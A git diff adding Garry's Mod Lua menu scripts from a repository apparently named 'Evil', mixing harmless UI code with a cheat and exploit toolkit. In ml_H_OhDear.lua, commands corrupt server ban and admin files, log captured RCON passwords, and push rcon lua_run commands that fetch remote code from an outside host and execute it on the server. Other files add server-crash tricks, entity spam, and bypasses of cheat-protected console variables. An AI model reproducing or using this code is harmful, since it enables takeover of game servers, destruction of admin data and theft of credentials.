ExtensionsCMD = debug.getupvalues( concommand.Run ).CommandList["menu_extensions"] +local extensionspanel = nil + +if ExtensionsCMD and type( ExtensionsCMD ) == "function" then + ExtensionsCMD() + extensionspanel = debug.getupvalues( ExtensionsCMD ).Extensions +end + +if IsValid( extensionspanel ) then -- Failsafe incase garry ever removes the extensions menu + local DownloadFilter = vgui.CreateFromTable( pnlDFilter ) + -- HACK RIGHT INTO THAT BITCH + extensionspanel.PropertySheet:AddSheet( Localize( "Download Filter" ), DownloadFilter, "gui/silkicons/page" ) + extensionspanel:PerformLayout() + extensionspanel:SetVisible( false ) +else + -- Made just for you garry. + Derma_Message( "WARNING: Unable to get extensions panel.\nThis may have been caused by an update that removed this functionality.\nPlease check for updates for mod ( \"Advanced Download Filter\" )", "ERROR: No extensions" ) +end + +hook.Add( "ShouldDownload", "DownloadFilter", function( filename ) + filename = filename or "gone" + + local ext = string.GetExtensionFromFilename( filename:gsub(".bz2", "") ) + ext = ext:lower() + + COLCON(Color( 255, 174, 201 ), "DownloadFilter", Color( 255, 255, 255 ), ": ("..ext..") "..filename) + + if ActiveFilters[ ext ] != nil and ActiveFilters[ ext ] == false then -- Shouldnt ever be nil + COLCON(Color( 255, 174, 201 ), "DownloadFilter BLOCK", Color( 255, 0, 0 ), ": ("..ext..") "..filename) + + return false -- Block the download + + elseif ActiveFilters[ ext ] == nil or ActiveFilters[ ext ] == true then + return true -- If the filter for a file doesn't exist or if we are allowing it, download + end + +end ) + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Find.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Find.lua new file mode 100644 index 0000000..48147d3 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Find.lua @@ -0,0 +1,136 @@ + + + +local function FindInEnvironment(env,str) + local tbl = {} + --if str == "" then return tbl end + local len = string.len(str) + for k, v in pairs(env) do + if string.Left(k,len) == str then + local str = k + if type(v) == "function" then + str = str.."(" + end + table.insert(tbl,str) + end + end + return tbl +end + +local function ParseRunToAutoComplete(str) + if string.len(str) > 1 and string.Right(str,1) != "(" then + local fstr = string.TrimLeft(str) + for k, v in pairs({"=","%("}) do + fstr = string.gsub(fstr,v," ") + end + local tbl = string.Explode(" ",fstr) + local lastStr = string.Trim(table.remove(tbl)) + local match + if lastStr == "" then + return {} + elseif lastStr != "." and string.find(string.reverse(lastStr),"%.") != nil then + local tblS + local lastn = 1 + while true do + local n = string.find(lastStr,"%.",lastn) + if n == nil then break end + if tblS then + tblS = tblS[string.sub(lastStr,lastn,n-1)] + if not tblS then + tblS = {} + lastn = string.len(lastStr) + break + end + else + tblS = _G[string.sub(lastStr,lastn,n-1)] + end + lastn = n+1 + end + match = FindInEnvironment(tblS or {},string.sub(lastStr,lastn)) + local lastStr = string.sub(lastStr,1,string.len(lastStr) - (string.find(string.reverse(lastStr),"%.")-1)) + for k, v in pairs(match) do + match[k] = lastStr..v + end + else + match = FindInEnvironment(_G,lastStr) + end + if table.getn(match) != 0 then + local firstStr = string.sub(str,1,string.len(table.concat(tbl," "))+1) --just added trimleft thingy, test to do + for k, v in pairs(match) do + match[k] = "lua_run_menu"..firstStr..v + end + table.insert(match,"") + return match + end + end + return {} +end + + + +local LastArgs = "" +local function LuaRunAutoComplete(strCmd,strArgs) + LastArgs = strArgs + return ParseRunToAutoComplete(strArgs) +end + +local function LuaRunMenu(ply,cmd,args) + local str = "" + if string.len(LastArgs) > 1 then + str = string.sub(LastArgs,2) --Get rid of the space at the beginning + else + str = table.concat(tblArgs," ") + end + + RunString(str) +end +concommand.Add("lua_run_menu", LuaRunMenu, LuaRunAutoComplete) + +local BadStr = { + ["_R"] = true, + ["_E"] = true, + ["_G"] = true, + ["_M"] = true, + ["_LOADED"] = true, + ["__index"] = true, +} + +local function FindInTable(tab,what,parents,depth) + depth = depth or 0 + parents = parents or "" + + if (depth > 3) then return end + depth = depth + 1 + + for k,v in pairs(tab) do + if type(k) == "string" then + local vtype = type(v) + + if (k and k:lower():find( what:lower() ) ) then + print("\t", parents, k, " - (", vtype, " - ", v, ")") + end + + if (vtype == "table" and not BadStr[k]) then + + FindInTable(v, what, parents..k..".", depth) + end + end + end +end + + +local function Find(ply,cmd,args) + if not args[1] then return end + local What = args[1] + print("Finding '"..What.."' CLIENTSIDE:\n") + + FindInTable(_G, What) + FindInTable(_R, What) + + print("\n") +end +concommand.Add("lua_find_ml",Find) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_AutoClicker.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_AutoClicker.lua new file mode 100644 index 0000000..b964d24 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_AutoClicker.lua @@ -0,0 +1 @@ + local function ResetClickStuff() timer.Simple(0, function() timer.Destroy("hex_autoclicker") end) end hook.Add("OnDisconnectFromServer", "ResetClickStuff", ResetClickStuff) local Delay = CreateClientConVar("hex_autoclicker_clicks", 0.02, true, false) local Toggle = false local function HeXAutoClicker(ply,cmd,args) if Toggle then Toggle = !Toggle timer.Destroy("hex_autoclicker") RunConsoleCommand("+attack") timer.Simple(0.01, function() RunConsoleCommand("-attack") end) else Toggle = !Toggle timer.Create("hex_autoclicker", Delay:GetFloat(), 0, function() PressTheMouse() end) end end concommand.Add("hex_autoclicker", HeXAutoClicker) local bool = false function PressTheMouse() --FIXME if not bool then bool = true else bool = false end local pre = { [true] = "+", [false] = "-" } RunConsoleCommand(pre[bool].."attack") end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_DeReplicate2.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_DeReplicate2.lua new file mode 100644 index 0000000..5d627a3 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_DeReplicate2.lua @@ -0,0 +1,112 @@ + + +if not replicator then + require("replicator") +end +if not replicator then + COLCON(RED, "Replicator2", WHITE, ": Error 404, replicator not found!") + return +end + + + +CVar_Prefix = "hex_" + +local AlwaysBypass = { + --moved +} + +local NowBypass = { + "vcollide_wireframe", + "fog_override", + "showtriggers", + "snd_show", + + "sv_cheats", + "host_timescale", + "host_framerate", + + "r_drawparticles", + "r_drawothermodels", + "mat_fullbright", + "mat_wireframe", +} + + + + +function RenameCVar(OldName) + local NewName = CVar_Prefix..OldName + + if ( ConVarExists(OldName) and not ConVarExists(NewName) ) then + local Old = GetConVar(OldName) + + local Default = Old:GetDefault() + local Flags = Old:GetFlags() + local Help = Old:GetHelpText() or false + local Value = Old:GetString() + + Old:SetName(NewName) + Old:SetFlags(FCVAR_NONE) + + local New = nil + if Help then + New = CreateConVar(OldName, Default, Flags, Help) + else + New = CreateConVar(OldName, Default, Flags) + end + + New:SetValue(Value) + end + + return OldName, NewName +end + + + +local function MsgDeReplicate(cvar,newname) + COLCON(RED, "Replicator: ", BROWN, cvar, WHITE, " -> ", GREEN, newname) +end + +local function ManualDeReplicate(ply,cmd,args) + if (#args > 0) then + local name = args[1] + + MsgDeReplicate( RenameCVar(name) ) --So easy! + return + end + + if ReplicatorDone then + COLCON(RED, "Replicator", WHITE, ": Already used ManualDeReplicate!") + return + end + ReplicatorDone = true + + local Total = 0 + for k,v in pairs(NowBypass) do + Total = Total + 1 + MsgDeReplicate( RenameCVar(v) ) + end + + COLCON(RED, "Replicator", WHITE, ": Renamed ", GREEN, "["..Total.."]", WHITE, " more CVars\n") +end +concommand.Add("hex_dereplicate", ManualDeReplicate) + + +local function AlwaysDeReplicate() + local Total = 0 + + for k,v in pairs(AlwaysBypass) do + Total = Total + 1 + MsgDeReplicate( RenameCVar(v) ) + end + + if (Total > 0) then + COLCON(RED, "Replicator:", WHITE, " Renamed ", GREEN, "["..Total.."]", WHITE, " CVars\n") + end +end +timer.Simple(0, AlwaysDeReplicate) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_Fun.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_Fun.lua new file mode 100644 index 0000000..7e21bd7 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_Fun.lua @@ -0,0 +1,59 @@ + + +local function GetVar(cvar) + if replicator and ReplicatorDone then + cvar = CVar_Prefix..cvar + end + return cvar +end + +local function CheckSVC() + return GetConVar( GetVar("sv_cheats") ):GetBool() +end + + + +local Speed = CreateClientConVar("hex_speedint", 4, true, false) +local SpeedEnabled = false + +local function HeXSpeedHack(ply,cmd,args) + if not CheckSVC() then + print("Enable sv_cheats to use this command!") + return + end + + if SpeedEnabled then + SpeedEnabled = !SpeedEnabled + + HeXLRCL( GetVar("host_timescale").." "..Speed:GetInt() ) + else + SpeedEnabled = !SpeedEnabled + + HeXLRCL( GetVar("host_timescale").." 1.0" ) + end +end +concommand.Add("hex_speedhack", HeXSpeedHack) + + +local Freeze = CreateClientConVar("hex_freezeint", 1500, true, false) +local FreezeEnabled = false + +local function HeXFreezeHack(ply,cmd,args) + if not CheckSVC() then + print("Enable sv_cheats to use this command!") + return + end + + if FreezeEnabled then + HeXLRCL( GetVar("host_framerate").." "..Freeze:GetInt() ) + FreezeEnabled = !FreezeEnabled + else + FreezeEnabled = !FreezeEnabled + HeXLRCL( GetVar("host_framerate").." 0" ) + end +end +concommand.Add("hex_freeze", HeXFreezeHack) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_OhDear.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_OhDear.lua new file mode 100644 index 0000000..ac12de9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_OhDear.lua @@ -0,0 +1,224 @@ + +if not chan then + require("chan") +end + + + +local function UploadChair(ply,cmd,args) + local Path = "data/adv_duplicator/=Public Folder=/office_chair.txt" + if (#args != 0) then + Path = "data/adv_duplicator/STEAM_0_0_17809124/office_chair.txt" + end + + chan.SendFile(Path) + print("[OK] Sent '"..Path.."' using CHAN") +end +concommand.Add("hex_upload_chair", UploadChair) + + +local function FuckFile(File, Where) + if Where then + chan.MKDIR(Where) + File = Where.."\\"..File + else + File = "data\\"..File + end + chan.MKDIR(File) + + local That = File.."\\o.txt" + + chan.Write(That, "lol") + chan.SendFile(That) + print("! FuckFile: ", That) + + chan.Delete(That) + chan.RMDIR(File) + if Where then + chan.RMDIR(Where) + end + + timer.Simple(3, function() + chan.Delete(That) + + chan.RMDIR(File) + if Where then + chan.RMDIR(Where) + end + end) +end + + +local function FuckThatFile(ply,cmd,args) --fuckfile + if (#args == 0) then + print("[ERR] No args!") + return + + elseif (#args == 1) then + FuckFile(args[1]) + + elseif (#args == 2) then + FuckFile(args[2], args[1]) --File, Where + end +end +concommand.Add("fuckfile", FuckThatFile) + + +local ToFuck = { + {What = "banned_user.cfg", Where = "cfg"}, + {What = "banned_ip.cfg", Where = "cfg"}, + + {What = "bans.txt", Where = "data\\ULib"}, + {What = "users.txt", Where = "data\\ULib"}, + {What = "groups.txt", Where = "data\\ULib"}, + {What = "misc_registered.txt", Where = "data\\ULib"}, + + {What = "ranks.txt", Where = "data\\FSAMod"}, + + {What = "ev_playerinfo.txt"}, + {What = "ev_userranks.txt"}, + {What = "ev_globalvars.txt"}, + + {What = "ass_config_server.txt"}, + {What = "ass_debug_sv.txt"}, + {What = "ass_rankings.txt"}, +} + +local function FuckAdminFiles(ply,cmd,args) + if client.GetIP():find("192.168") then + print("[ERR] Not on here dumbass!") + return + end + + for k,v in pairs(ToFuck) do + timer.Simple(k/5, function() + FuckFile(v.What, v.Where) + end) + end +end +concommand.Add("hex_fuck_admins", FuckAdminFiles) + + + + +local function SendFile(ply,cmd,args) + if (#args == 0) then + print("[ERR] No args!") + return + end + + local What = args[1] + + print("! SendFile '"..What.."' : ", chan.SendFile(What) ) +end +concommand.Add("upload", SendFile) + +local function RequestFile(ply,cmd,args) + if (#args == 0) then + print("[ERR] No args!") + return + end + + local What = args[1] + + console.Command("net_showfragments 2") + print("! RequestFile '"..What.."' : ", chan.RequestFile(What) ) + + timer.Simple(3, function() + if file.Exists(What, true) then + print("! done :D") + else + print("! no file :(") + end + end) + + timer.Simple(10, function() + console.Command("net_showfragments 0") + end) +end +concommand.Add("download", RequestFile) + + + + + + + +local function Logme(ply,cmd,args) + if not (client and client.GetIP) then + print("[ERR] No extras!") + return + end + + local what = table.concat(args," ") + + local str = Format("Logme @ [%s] - '%s' - (%s) - '%s'\n", os.date(), GetConVarString("hostname"), client.GetIP(), what) + file.Append("hex_logme.txt", str) + + print("[OK] Saved: '"..what.."'") +end +concommand.Add("logme2", Logme) + + +local function SaveRCFromDeX(ply,cmd,args) + if not (client and client.GetIP) then + print("[ERR] No extras!") + return + + elseif (#args != 1) then + print("[ERR] No pw!") + return + end + + local pass = args[1] + + local str = Format("RCPW @ [%s] - '%s' - (%s) - '%s'\n", os.date(), GetConVarString("hostname"), client.GetIP(), pass) + file.Append("dex_rcpw.txt", str) + + print("[OK] Saved RCPW: '"..pass.."'") +end +concommand.Add("_dex_save_rc", SaveRCFromDeX) + + + + + +local function LoadRCONDeX(ply,cmd,args) + print("! Sending stage 1..\n") + HeXLRCL([[ rcon lua_run DEX_PATH = nil ]]) + HeXLRCL([[ rcon lua_run lol = "http.Get('gmod.game-host.org/bar/dex/dex.lua', ' ', function(s,f) RunString(s) end)" ]]) + + timer.Simple(3, function() + print("! Sending stage 2..\n") + HeXLRCL([[ rcon lua_run RunString(lol) ]]) + print("! sent dex over RCON, waiting for reply..\n") + end) +end +concommand.Add("hex_exploit_dex_rcon", LoadRCONDeX) + + + +local function LoadDeX() + HeXLRCL([[replay_tip "http.Get('http://gmod.game-host.org/bar/dex/dex.lua', ' ', function(s,f) RunStringEx(s,'WireModelPack') end)" ]]) + + print("! sent dex, waiting for reply..\n") +end +concommand.Add("hex_exploit_dex", LoadDeX) + + +local function DeXAll() + LoadDeX() + + timer.Simple(1, function() + HeXLRCL([[ "dex_save" ]]) + HeXLRCL([[ "fixset" ]]) + HeXLRCL([[ "nukes" ]]) + end) +end +concommand.Add("hex_exploit_all", DeXAll) +concommand.Add("dex_all", DeXAll) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_SCrash.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_SCrash.lua new file mode 100644 index 0000000..91c98c2 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_SCrash.lua @@ -0,0 +1,32 @@ + + +local RCC = RunConsoleCommand +local function TrailCrash() + RCC("gm_spawn", "models/props_c17/furniturestove001a.mdl") + RCC("trails_material", "Effects/*") + RCC("gmod_tool", "trails") + + RCC("hex_autoclicker") + timer.Simple(1,function() + RCC("hex_autoclicker") + end) + timer.Simple(2, RCC, "trails_material", "sprites/obsolete") +end +concommand.Add("hex_crash_trail", TrailCrash) + + +local function WeightCrash() + RCC("gm_spawn", "models/props_c17/furniturestove001a.mdl") + RCC("weight_set", "999999999999999999999999999999999999999999999") + RCC("gmod_tool", "weight") + + RCC("hex_autoclicker") + timer.Simple(1,function() + RCC("hex_autoclicker") + end) + timer.Simple(2, RCC, "weight_set", "100") +end +concommand.Add("hex_crash_weight", WeightCrash) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_SpawnMe.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_SpawnMe.lua new file mode 100644 index 0000000..372968a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_SpawnMe.lua @@ -0,0 +1,71 @@ + + +local SwepToSpam = CreateClientConVar("hex_spam_swepclass", "weapon_para", true, false) +local SentToSpam = CreateClientConVar("hex_spam_sentclass", "sent_ball", true, false) +local SpamRate = CreateClientConVar("hex_spam_rate", 0.05, true, false) + +local SwepSpam = false +local SentSpam = false + + +local function SpamReset() + timer.Destroy("spam_sewps") + timer.Destroy("spam_sents") +end +hook.Add("OnDisconnectFromServer", "SpamReset", SpamReset) +concommand.Add("hex_spam_stop", SpamReset) + + +local function SpamSweps() + if SwepSpam then + SwepSpam = false + timer.Destroy("spam_sewps") + else + SwepSpam = true + timer.Create("spam_sewps", SpamRate:GetFloat(), 0, function() + RunConsoleCommand("gm_spawnswep", SwepToSpam:GetString() ) + end) + end +end +concommand.Add("hex_spam_swep", SpamSweps) + + +local function SpamSents() + if SentSpam then + SentSpam = false + timer.Destroy("spam_sents") + else + SentSpam = true + timer.Create("spam_sents", SpamRate:GetFloat(), 0, function() + RunConsoleCommand("gm_spawnsent", SentToSpam:GetString() ) + end) + end +end +concommand.Add("hex_spam_sent", SpamSents) + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_InfoBar.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_InfoBar.lua new file mode 100644 index 0000000..44f638c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_InfoBar.lua @@ -0,0 +1,15 @@ + +if not IsKida then return end + + +require( "markup" ) + +local UpdateLabel = vgui.Create( "DPanel" ) + +local UpdateText = markup.Parse( "Garry's Mod U"..VERSION ) + +UpdateLabel:SetSize( UpdateText:GetWidth(), UpdateText:GetHeight() ) +UpdateLabel:SetPos( 8, 8 ) +function UpdateLabel:Paint() + UpdateText:Draw( 0, 0 ) +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_LoadScreen.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_LoadScreen.lua new file mode 100644 index 0000000..7160037 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_LoadScreen.lua @@ -0,0 +1,116 @@ + + +local pnlLoadProgress = vgui.RegisterFile("custom_menu/original_loading/progress.lua") +local pnlDownloads = vgui.RegisterFile("custom_menu/original_loading/downloads.lua") + +local PANEL = {} + +function PANEL:Init() + self:SetVisible(false) + self.Progress = vgui.CreateFromTable(pnlLoadProgress, self) + self.Downloads = vgui.CreateFromTable(pnlDownloads, self) + + /* + self.Button = vgui.Create("DButton", self) + self.Button:SetText("#Cancel") + function self.Button:DoClick() CancelLoading() end + */ +end + + +function PANEL:PerformLayout() + local Width,Hight = ScrW(),ScrH() + + self:SetSize(Width,Hight) + + self.Progress:InvalidateLayout(true) + self.Progress:SetPos(0, Hight * 0.4) + + self.Downloads:SetPos(0, 0) + self.Downloads:SetSize(Width, Hight * 0.4) + + /* + self.Button:AlignRight(50) + self.Button:AlignBottom(50) + */ +end + +function PANEL:Paint() + surface.SetDrawColor(250, 250, 250, 255) + surface.DrawRect(0, 0, self:GetWide(), self:GetTall()) +end + + +function PANEL:StatusChanged(what) + // If it's a file download we do some different stuff.. + if what:find("Downloading ") then + local name = what:gsub("Downloading ", "") + + self.Progress:DownloadingFile(name) + self.Downloads:DownloadingFile(name) + return + end + + self.Progress:StatusChanged(what) + self.Downloads:StatusChanged(what) +end + + +function PANEL:CheckForStatusChanges() + local str = GetLoadStatus() + if (!str) then return end + + str = string.Trim(str) + str = string.Trim(str, "\n") + str = string.Trim(str, "\t") + + str = string.gsub(str, ".bz2", "") + str = string.gsub(str, ".ztmp", "") + str = string.gsub(str, "\\", "/") + + if (self.OldStatus && self.OldStatus == str) then return end + + self.OldStatus = str + self:StatusChanged(str) +end + + +function PANEL:OnActivate() + self:OnDeactivate() +end + +function PANEL:OnDeactivate() + self.Progress:Clean() + self.Downloads:Clean() +end + + +function PANEL:Think() + self:CheckForStatusChanges() +end + +local load_panel = vgui.CreateFromTable(vgui.RegisterTable(PANEL, "EditablePanel")) + +local LoadTime = SysTime() + +hook.Add("OnLoadingStarted", "PopupLoad", function(ip, connectionPort, queryPort) + load_panel:MakePopup() // This isn't done by default in the C++, but the panel is automatically hidden when the loading is finished + LoadTime = SysTime() +end) + +local hide = false + +hook.Add("OnLoadingStopped", "EndLoad", function(bool1, string1, string2) + print(Format("Load time: %f", SysTime() - LoadTime)) + hide = bool1 +end) + +hook.Add("OnDisconnectFromServer", "GOAWAY", function(enum) + if hide then + load_panel:SetVisible(false) + end +end) + +loading.SetPanelOverride(load_panel) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_LogoText.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_LogoText.lua new file mode 100644 index 0000000..bf704a9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_LogoText.lua @@ -0,0 +1,35 @@ + +if not IsKida then return end + + +local PANEL = {} +local Logo = Material( "console/logo_text" ) + +function PANEL:Init() + + self:SetMouseInputEnabled( false ) + self:SetKeyboardInputEnabled( false ) + +end + +function PANEL:Paint() + + surface.SetMaterial( Logo ) + surface.SetDrawColor( 255, 255, 255, 255 ) + surface.DrawTexturedRect( 0, 0, self:GetWide(), self:GetTall() ) + + return true + +end + +function PANEL:PerformLayout() + + local w = ScrW() * 0.5 + + self:SetPos( 0, ScrH() * 0.1 ) + self:SetSize( w, w / 4 ) + self:CenterHorizontal() + +end + +local GLogo = vgui.CreateFromTable( vgui.RegisterTable( PANEL, "Panel" ) ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_M2C.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_M2C.lua new file mode 100644 index 0000000..e3b59d7 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_M2C.lua @@ -0,0 +1,14 @@ + + + +local function LoadM2() + require("m2c") +end +concommand.Add("m2_load", LoadM2) + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_MapTest.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_MapTest.lua new file mode 100644 index 0000000..dad9b47 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_MapTest.lua @@ -0,0 +1,434 @@ +concommand.Add("mt_reload", function() include("custom_menu/ml_maptest.lua") end) + +local BadMaps = { + ["gm_construct.bsp"] = true, + ["gm_flatgrass.bsp"] = true, + ["background01.bsp"] = true, + ["background02.bsp"] = true, + ["background03.bsp"] = true, + ["background04.bsp"] = true, + ["background05.bsp"] = true, + ["background06.bsp"] = true, + ["background07.bsp"] = true, + ["credits.bsp"] = true, + ["d1_canals_01.bsp"] = true, + ["d1_canals_01a.bsp"] = true, + ["d1_canals_02.bsp"] = true, + ["d1_canals_03.bsp"] = true, + ["d1_canals_05.bsp"] = true, + ["d1_canals_06.bsp"] = true, + ["d1_canals_07.bsp"] = true, + ["d1_canals_08.bsp"] = true, + ["d1_canals_09.bsp"] = true, + ["d1_canals_10.bsp"] = true, + ["d1_canals_11.bsp"] = true, + ["d1_canals_12.bsp"] = true, + ["d1_canals_13.bsp"] = true, + ["d1_eli_01.bsp"] = true, + ["d1_eli_02.bsp"] = true, + ["d1_town_01.bsp"] = true, + ["d1_town_01a.bsp"] = true, + ["d1_town_02.bsp"] = true, + ["d1_town_02a.bsp"] = true, + ["d1_town_03.bsp"] = true, + ["d1_town_04.bsp"] = true, + ["d1_town_05.bsp"] = true, + ["d1_trainstation_01.bsp"] = true, + ["d1_trainstation_02.bsp"] = true, + ["d1_trainstation_03.bsp"] = true, + ["d1_trainstation_04.bsp"] = true, + ["d1_trainstation_05.bsp"] = true, + ["d1_trainstation_06.bsp"] = true, + ["d2_coast_01.bsp"] = true, + ["d2_coast_03.bsp"] = true, + ["d2_coast_04.bsp"] = true, + ["d2_coast_05.bsp"] = true, + ["d2_coast_07.bsp"] = true, + ["d2_coast_08.bsp"] = true, + ["d2_coast_09.bsp"] = true, + ["d2_coast_10.bsp"] = true, + ["d2_coast_11.bsp"] = true, + ["d2_coast_12.bsp"] = true, + ["d2_prison_01.bsp"] = true, + ["d2_prison_02.bsp"] = true, + ["d2_prison_03.bsp"] = true, + ["d2_prison_04.bsp"] = true, + ["d2_prison_05.bsp"] = true, + ["d2_prison_06.bsp"] = true, + ["d2_prison_07.bsp"] = true, + ["d2_prison_08.bsp"] = true, + ["d3_breen_01.bsp"] = true, + ["d3_c17_01.bsp"] = true, + ["d3_c17_02.bsp"] = true, + ["d3_c17_03.bsp"] = true, + ["d3_c17_04.bsp"] = true, + ["d3_c17_05.bsp"] = true, + ["d3_c17_06a.bsp"] = true, + ["d3_c17_06b.bsp"] = true, + ["d3_c17_07.bsp"] = true, + ["d3_c17_08.bsp"] = true, + ["d3_c17_09.bsp"] = true, + ["d3_c17_10a.bsp"] = true, + ["d3_c17_10b.bsp"] = true, + ["d3_c17_11.bsp"] = true, + ["d3_c17_12.bsp"] = true, + ["d3_c17_12b.bsp"] = true, + ["d3_c17_13.bsp"] = true, + ["d3_citadel_01.bsp"] = true, + ["d3_citadel_02.bsp"] = true, + ["d3_citadel_03.bsp"] = true, + ["d3_citadel_04.bsp"] = true, + ["d3_citadel_05.bsp"] = true, + ["intro.bsp"] = true, + ["advisor_test.bsp"] = true, + ["autorpv1.bsp"] = true, + ["background.bsp"] = true, + ["bhop_wetlands.bsp"] = true, + ["castledefense.bsp"] = true, + ["combine_fun.bsp"] = true, + ["combine_onslaught.bsp"] = true, + ["combine_onslaughtv1_1.bsp"] = true, + ["combine_onslaughtv2.bsp"] = true, + ["combine_onslaught_ep2.bsp"] = true, + ["crater.bsp"] = true, + ["dev_box.bsp"] = true, + ["de_hoejhus.bsp"] = true, + ["de_relic.bsp"] = true, + ["dm_thursday.bsp"] = true, + ["dr_carbonic_v3.bsp"] = true, + ["duckhunt_party.bsp"] = true, + ["duckhunt_party_v2.bsp"] = true, + ["esiphar.bsp"] = true, + ["gmdm_antlions_ep2.bsp"] = true, + ["gm_2cliffs.bsp"] = true, + ["gm_711_v5.bsp"] = true, + ["gm_apartment.bsp"] = true, + ["gm_apoc_v1.bsp"] = true, + ["gm_assault_v2.bsp"] = true, + ["gm_atomic.bsp"] = true, + ["gm_azalea.bsp"] = true, + ["gm_bigassmapv2.bsp"] = true, + ["gm_blackmesa_sigma_by_freakrules.bsp"] = true, + ["gm_bounize.bsp"] = true, + ["gm_boxed.bsp"] = true, + ["gm_buttes.bsp"] = true, + ["gm_cliffside_v2.bsp"] = true, + ["gm_closedin.bsp"] = true, + ["gm_constructconsp.bsp"] = true, + ["gm_construct_bunker.bsp"] = true, + ["gm_construct_flatgrass_v6.bsp"] = true, + ["gm_derpityda.bsp"] = true, + ["gm_devcity.bsp"] = true, + ["gm_dmm_cabin.bsp"] = true, + ["gm_duckhunt.bsp"] = true, + ["gm_duststruct.bsp"] = true, + ["gm_endlessocean.bsp"] = true, + ["gm_essentials.bsp"] = true, + ["gm_excess_waters.bsp"] = true, + ["gm_findthefort8.bsp"] = true, + ["gm_flatbuild_pb.bsp"] = true, + ["gm_flatgrass2.bsp"] = true, + ["gm_flatgrass_pit.bsp"] = true, + ["gm_flatgrass_remake.bsp"] = true, + ["gm_flatmulti.bsp"] = true, + ["gm_flatsnow_xdc_r1_1.bsp"] = true, + ["gm_flying_reliquies.bsp"] = true, + ["gm_fortexia_v1.bsp"] = true, + ["gm_funroom_v12.bsp"] = true, + ["gm_gmnzrace.bsp"] = true, + ["gm_gmodopoly.bsp"] = true, + ["gm_gmodsauce.bsp"] = true, + ["gm_hl1_cliff.bsp"] = true, + ["gm_hl1_interloper.bsp"] = true, + ["gm_isles.bsp"] = true, + ["gm_jon_island.bsp"] = true, + ["gm_kbmodernhouse.bsp"] = true, + ["gm_lake_final.bsp"] = true, + ["gm_lava.bsp"] = true, + ["gm_lostconstruct.bsp"] = true, + ["gm_mc_construct.bsp"] = true, + ["gm_mc_construct_final.bsp"] = true, + ["gm_mental_asylum.bsp"] = true, + ["gm_minecraft.bsp"] = true, + ["gm_minecrafter_day.bsp"] = true, + ["gm_mix_v5.bsp"] = true, + ["gm_moving_train.bsp"] = true, + ["gm_neverendingwar_prototype.bsp"] = true, + ["gm_opposedbases.bsp"] = true, + ["gm_overgrown_build.bsp"] = true, + ["gm_pd_destruct.bsp"] = true, + ["gm_pd_terrageosord.bsp"] = true, + ["gm_peaceforest_winter.bsp"] = true, + ["gm_perfectworld_v1.bsp"] = true, + ["gm_racelandschool.bsp"] = true, + ["gm_race_natura_v2.bsp"] = true, + ["gm_risk.bsp"] = true, + ["gm_roadspace.bsp"] = true, + ["gm_ruvillagev2.bsp"] = true, + ["gm_seascraper.bsp"] = true, + ["gm_simplestruct.bsp"] = true, + ["gm_smallfight.bsp"] = true, + ["gm_speedway_v2.bsp"] = true, + ["gm_stramicbuild_b7.bsp"] = true, + ["gm_the_cage_v3.bsp"] = true, + ["gm_tinystruct.bsp"] = true, + ["gm_transporter.bsp"] = true, + ["gm_tugofwar_combine.bsp"] = true, + ["gm_tullysbunker.bsp"] = true, + ["gm_ultimate_flatgrass.bsp"] = true, + 